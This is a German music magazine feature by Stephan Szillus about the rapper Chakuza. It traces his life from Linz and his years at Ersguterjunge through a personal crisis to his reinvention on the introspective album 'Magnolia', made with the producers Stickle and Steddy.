Interview: Chakuza

Chakuza

 

Der Name Chakuza weckt unterschiedlichste Assoziationen – und zwar nicht bei jedem nur positive. Mit seinem neuen Album »Magnolia« soll auch eine neue Zeitrechnung für den Rapper beginnen. Bereits die Vorab-Videos zu »Ich lauf« und »Decke« zeigten einen gereiften Künstler, der von den großspurigen Posen der eigenen EGJ-Vergangenheit wenig bis nichts übrig lassen will. »Magnolia« übersetzt Chakuzas pathetische Stahlstadtpoesie in nachvollziehbare Alltagsbetrachtungen und bettet diese in eine zeitgeistige musikalische Hülle zwischen Clams Casino und M83. Wir werden Zeuge einer der ­interessantesten und spannendsten Karrierewendungen der Deutschrap-Geschichte. Ob der Plan aufgeht, muss die Zeit zeigen.

 

Enter Sandman

 

Die sagenumwobene »Krabbe«, die durch Casper und die Produktion des Meilensteins »XOXO« zum mythischen Ort wurde, ist ein angenehmes kleines Homestudio im Westen Kreuzbergs mit teurer Espressomaschine und kaputter Toilette. Im hinteren Raum werkeln Stickle und Steddy, die beiden Produzenten, die im Team schon an »XOXO« gearbeitet haben und die nun für die musikalische Vision hinter »Magnolia« zuständig waren, weiter an letzten Feinheiten des Albums. Chakuza gähnt, lässt sich aufs Sofa plumpsen und macht sich ein Konterbier gegen den Whisky vom Vorabend auf. Heute noch muss der letzte Bonus-Song für »Magnolia« aufgenommen werden, die Deadline vom Label hat er bereits gerissen. So richtig Lust hat er nicht auf den anstehenden Interviewtermin, auch wenn wir uns schon länger kennen und uns grundsätzlich immer sympathisch waren. Es ist nur so: Chakuza hasst Interviews. Er hasst es, über sich selbst und seine Musik zu reden, weil er darin schon alles preisgibt, was er für erwähnenswert hält. Er mag es nicht zu prahlen und zu protzen, genauso wenig möchte er seine Kunst erklären. Trotzdem muss er da jetzt durch. Denn es gibt viel zu besprechen.

 

 

Wie es genau passiert ist, dass aus dem österreichischen EGJ-Soldaten einer der größeren Hoffnungsträger zeitgenössischen Emo-Raps geworden ist, darüber ist man sich nicht mehr ganz klar. Vieles hatte mit normalen Lebensprozessen zu tun, mit dem Rauswachsen aus einem Image und – so eklig das in diesem Kontext auch klingt – dem Erwachsenwerden, manches sicher auch mit einem neuen Management, einer neuen Labelheimat und neuen musikalischen Einflüssen. Man merkt Chakuza jedenfalls an, dass er als Mensch wie als Künstler gereift ist. Vor relativ genau fünf Jahren war es, als ich Chakuza zusammen mit Stickle und RAF Camora zum ersten Mal im EGJ-Studio traf, um ihn für seine JUICE-Titelgeschichte zu interviewen. Von seinem Debüt »City Cobra« hatte er kolportierte 60.000 Einheiten abgesetzt, der Nachfolger »Unter der Sonne« schien das Potenzial zu haben, aus dem scheuen, spröden Österreicher einen waschechten Superstar in der Bushido-Nachfolge zu machen. Was nicht passierte. Trotz Top-10-Einstieg und beachtlicher Zahlen blieb Chakuza immer der Rapper im EGJ-Team, der sich für die »Bravo«-Artikel schämte, sich im Interview hinter wortkargem Harter-Mann-Getue versteckte und der beim »The Dome«-Auftritt peinlich berührt über die Bühne steuerte. »Das war einfach überhaupt nicht meine Welt«, lacht er heute. »Natürlich habe ich auch sehr davon profitiert, bei diesem Label zu sein. Aber unterm Strich ging es irgendwann nicht mehr, ich konnte mich mit der Musik und dem Image nicht mehr identifizieren.«

 

Find A Way

 

Um seine damalige Situation nachzuvollziehen, muss man tiefer in die Lebensgeschichte des Mannes einsteigen, der vor 31 Jahren als Peter Pangerl im ober­österreichischen Linz geboren wurde. Da seine Eltern bei seiner Geburt selbst noch sehr jung waren, wuchs Peter behütet bei den Großeltern auf dem Land auf. Diese heile Welt bekam erste Risse, als sich die Eltern trennten, Peter in der Schule immer schlechter wurde und auf dem Schulhof mit den bösen Jungs herumzuhängen begann. Auf nachdrückliche Forderung seiner Mutter suchte er sich früh einen Job, probierte es als Kfz-Mechaniker, doch als ihm die Ausbildung nicht zusagte, wechselte er in die Küche. »Als Koch war ich richtig gut«, berichtet er nicht ohne Stolz. »In kürzester Zeit arbeitete ich mich zum Küchenchef hoch, gewann Wettbewerbe und hatte auch viel Spaß daran, immer neue Gerichte zu kreieren. Koch ist ja ein sehr kreativer Beruf.« Der Ehrgeiz, den er in dieser Tätigkeit entwickelte, führte ihn schnell nach oben, lastete dem jungen Mann jedoch auch viel Verantwortung und Stress auf. Mit 23 Jahren stand Chakuza zum ersten Mal kurz vor einem Burnout.

 

 

Die Musik war für den jungen HipHop-Fan bis dahin nicht mehr als ein Hobby gewesen. »Yo! MTV Raps«, Cypress Hill und Naughty By Nature hatten ihn Mitte der Neunziger angefixt, später lag er nachts im Ausbildungsheim wach und schrieb selbst die ersten Texte. Mit seinen Freunden DJ Stickle und Big J gründete er die Crew Verbale ­Systematik, nach der Trennung von J machten Chakuza und Stickle als Beatlefield weiter und nahmen in ihrem Keller weiter fleißig Demos auf. Was folgte, ist die allzu oft erzählte Geschichte von einem folgenschweren Treffen mit Bushido bei einem Auftritt in Linz, bei dem die jungen Österreicher dem deutschen Gangsta-Rap-King eine Beat-CD in die Hand drückten. Bushido, selbst nach der Trennung von Ilan und Desue gerade auf der Suche nach neuen Beat­makern, lud die beiden nach Berlin ein und gab ihnen kurz darauf den Auftrag, sein nächstes Album zu produzieren. Was nicht passte, wurde passend gemacht, und so zogen Beatlefield 2006 nach Berlin und waren für die nächsten drei Jahre fester Bestandteil des ­Ersguterjunge-Camps, Chakuza wurde dort als Rapper gesignt.

 

Dass sich insbesondere DJ Stickle nie wirklich im Bad-Boy-Image der EGJ-Posse wiederfinden konnte, ahnte zu dieser Zeit kaum jemand. Man verkleidete sich auf Pressefotos mit Bomberjacken und Karottenjeans, stand loyal hinter dem großen Entdecker. Kein Wunder, hatte er ihnen doch den ersten Schritt aus dem ober­österreichischen Keller in die Berliner Musikindustrie ermöglicht. Chakuza verkaufte respektable Einheiten von seinen Alben »City Cobra« und »Unter der Sonne«, ging mit Bushido auf Tour, fand in der Teeniepresse statt und bekam ein JUICE-Cover. Als der logische nächste Schritt zum Superstar nicht folgte, das dritte Album »Monster in mir« und das Mixtape »Suchen & Zerstören 2« kaum Medienaufmerksamkeit bekamen, zeigten sich nach außen ­erste Risse im Camp-Gefüge. Gerüchte einer Trennung machten die Runde, die Chakuza erst dann bestätigte, als die Verträge mit Ersguterjunge tatsächlich nicht verlängert wurden. Im Jahr 2010 war Chakuza nach einem kurzen Höhenflug tatsächlich wieder ganz unten angekommen.

 

Aufstehn

 

Es folgte der Bruch und eine ­Neusortierung. Während DJ Stickle als Produzent und Songwriter in die Berliner Industrie und das Nachtleben eintauchte, die Cordon-Sport-Uniform seines ehemaligen Arbeitgebers gegen College-Jacke, Slimfit-Jeans und Hipster-Brille tauschte, sich mit seinen Trap-Sets zu einem der beliebtesten It-DJs der Hauptstadt mauserte und ganz nebenher das »Krabbe«-Studio aufbaute, flüchtete sich der deprimierte Chakuza ­zurück in die Heimat und in den Alkohol. »In dieser Zeit ist richtig viel Scheiße passiert«, sagt er mit finsterer Miene. »Meine Mutter ist nach langer Krankheit gestorben, meine zehnjährige Beziehung ist in die ­Brüche gegangen, und mit der Musik sah es auch nicht mehr so gut aus.« Man nimmt ihm durchaus ab, dass er ­zwischendurch ernsthaft darüber nachgedacht hat, das Rapperdasein komplett an den Nagel zu hängen und stattdessen wieder auf die Jagd nach Michelin-Sternen zu gehen. Was schade gewesen wäre, denn dann wäre »Magnolia« wohl niemals entstanden.

 

 

Chakuza wohnte zwischenzeitlich wieder in Linz, kümmerte sich so gut es ging um seinen Privatscheiß und sortierte vor allem in seinem Freundeskreis kräftig aus. »Die Schlimmsten sind die Blutsauger«, grummelt er. »Die Typen, die nur so lange da sind, wie du Erfolg hast. Die saugen dir förmlich die Lebensenergie aus. Von all diesen Menschen habe ich mich in dieser Zeit getrennt. Heute weiß ich endlich, wer wirklich zu mir steht.« Einer davon war Stickle, der sich in der Zwischenzeit mit dem H-Blockx-Drummer Steddy angefreundet und mit ihm das Casper-Album produziert hatte. Zusammen schafften sie es schließlich, den rapmüden Freund bei dessen sporadischen Berlin-Besuchen neu zu motivieren. Denn auch Steddy erklärte sich bereit, mit Chakuza und Stickle in der »Krabbe« an neuem Material zu arbeiten – zunächst ohne Label-Deal, ohne Netz und doppelten Boden, ohne jeglichen Vorschuss oder finanzielle Absicherung. Doch die ersten Skizzen überzeugten alle Beteiligten so sehr, dass sie wussten, sie würden weitermachen müssen, weil sie hier etwas ganz Besonderes hatten. Aus dem zunächst geplanten Mixtape wurde ein Album.

 

New Day

 

Natürlich wollte Chakuza für sein Comeback nicht die gleiche alte EGJ-Soße erneut aufkochen. Er hatte mittlerweile seinen 30. Geburtstag gefeiert, einiges an persönlichen Krisen durchgemacht und schämte sich für seine vulgäre ­Ausdrucksweise auf den alten Platten. Auch musikalisch nahm er neue Einflüsse auf, hörte wenig aktuellen Rap und stattdessen lieber den amerikanischen Songwriter Citizen Cope oder die ­französische Dreampop-Band M83. Im Laufe einiger Monate hatten Stickle und Steddy eine Möglichkeit gefunden, ihre vielfältigen aktuellen Inspirationen in einem neuen Soundbild zu verarbeiten, das gleichzeitig aktuelle Bezüge zu Cloud-Rap-Producern wie Clams Casino aufweist, andererseits aber auch perfekt zu Chakuzas pathetischem Bariton passt. Noch die letzten Anflüge vom künstlich harten Image merzte Chakuza gemeinsam mit seinem Team aus. »Magnolia« sollte seine Selbstfindungsplatte werden, ein erwachsenes, introspektives Rap-Album, das den Menschen Peter Pangerl erstmalig vor die Kunstfigur Chakuza stellt. »Kurzzeitig gab es sogar die Erwägung, meinen Künstlernamen zu ändern oder besser gesagt auf ‘Chak’ zu verkürzen, weil mich ohnehin alle so nennen – aber am Ende war das auch Unsinn, weil ich meine Vergangenheit gar nicht verleugnen will.«

 

Chakuza, Stickle und Steddy frickelten in endlosen Studio-Sessions weiter an den intensiven Klangfarben von »Magnolia«, parallel dazu stellte man die notwendigen geschäftlichen Weichen. »Freunde, die nie wirklich welche waren, werden ebenso aus dem Leben von Chakuza gestrichen, wie Geschäftspartner, die in Wirklichkeit zwar Geschäftsleute, aber nie Partner waren«, heißt es dazu im offiziellen Pressetext. Ein neues, erfahrenes Management kam an Bord, ein Deal bei Four Music wurde ­unterzeichnet – der gleiche A&R-Manager, der auch bereits Marteria und Casper gesignt hatte, nahm nun den ehemals ­fälschlicherweise als Gangsta-Rapper ­rezipierten Österreicher unter Vertrag. Endgültig legte Chakuza sämtliche Verkleidungen ab und stand in seinen Texten vollkommen zu sich selbst. Auch seine Technik passte Chakuza den neuen Inhalten an, indem er immer mehr Silben wegließ, wirksame Pausen erlaubte und seinen vorher so atemlosen Flow bewusst einbremste.

 

Zum Glück in die Zukunft?

 

Jetzt sitzt Chakuza am Laptop und spielt mir die seiner Ansicht nach wichtigsten Songs von »Magnolia« vor. Zwischendurch erzählt er kleine Anekdoten von der Entstehung, immer wieder weist er darauf hin, wie radikal er in seinem Leben und seinem Freundeskreis aufgeräumt habe. Der früher stets übellaunig und verschlossen wirkende Rapper hat seinen Schutzpanzer abgeworfen, er lacht und plaudert beinahe, jedenfalls öffnet er sich seinem Gesprächspartner und lässt sich in die Karten schauen. Er erzählt von seiner Familie, von seiner Kindheit und seinem Verhältnis zur deutschen Hauptstadt, das er in dem großartigen Song »Notlandung auf Berlin« thematisiert, für den Sebastian Madsen die Hook eingesungen hat. »Meine Rückkehr aus Linz fühlte sich tatsächlich wie eine Notlandung an«, murmelt er nachdenklich. »Linz ist meine Heimat, aber da geht halt nichts. Es war klar, wenn ich es weiter mit der Musik probieren will, dann muss ich wieder herkommen. Nachdem ich in meinem Freundeskreis so radikal ­aussortiert hatte, war es aber auch wieder cool.«

 

 

Auf dem Cover von »Magnolia« sieht man Chakuza vor einer fototapetenartigen Berglandschaft, die auf dem Kopf steht. Das Album steckt voller Selbstzweifel, voller Abgründe und tiefschwarzen Innenansichten, andererseits auch voller kleiner Hoffnungsschimmer und positiven Erfahrungen. Es ist kein Album für jene Kids, die sich nach der nächsten Räuberpistole über glänzende Klingen und weiße Pulverberge verzehren. Es ist ein Rettungsanker für junge und nicht mehr ganz so junge ­Erwachsene, die nach einem Gleichgesinnten suchen, der ihr Schweigen-Dilemma in melancholische Poesie verwandelt. Die vorherrschende Farbe, ein verwaschenes Gemisch aus Dunkelgrau und Anthrazit, wird im Klangbild immer wieder durch pastellene Sprengsel in Lila, Lindgrün und Zartrosa verziert. »Magnolia« ist ein beinahe impressionistisch zu nennendes Stück Musik, das ohne Groll zurückblickt auf schöne und weniger schöne Zeiten. Das gleichzeitig greifbar und abstrakt wirkt, das von einer Sehnsucht nach einer ­besseren, sorglosen Zeit handelt – ob diese in der Vergangenheit liegt oder auch in der Zukunft zu finden ist, bleibt aktuell offen.

 

»Ich liebe Blumen«, lächelt Chakuza, auf den Albumtitel angesprochen. »Ich habe jetzt sogar einen Garten. Und die ­Magnolie war immer meine Lieblingsblume. Sie ist die erste Blume, die im Frühjahr blüht, wenn der harte Winter überstanden ist und die Temperaturen wieder steigen. Deshalb finde ich, sie passt perfekt zu diesem Album.«

 

Text: Stephan Szillus

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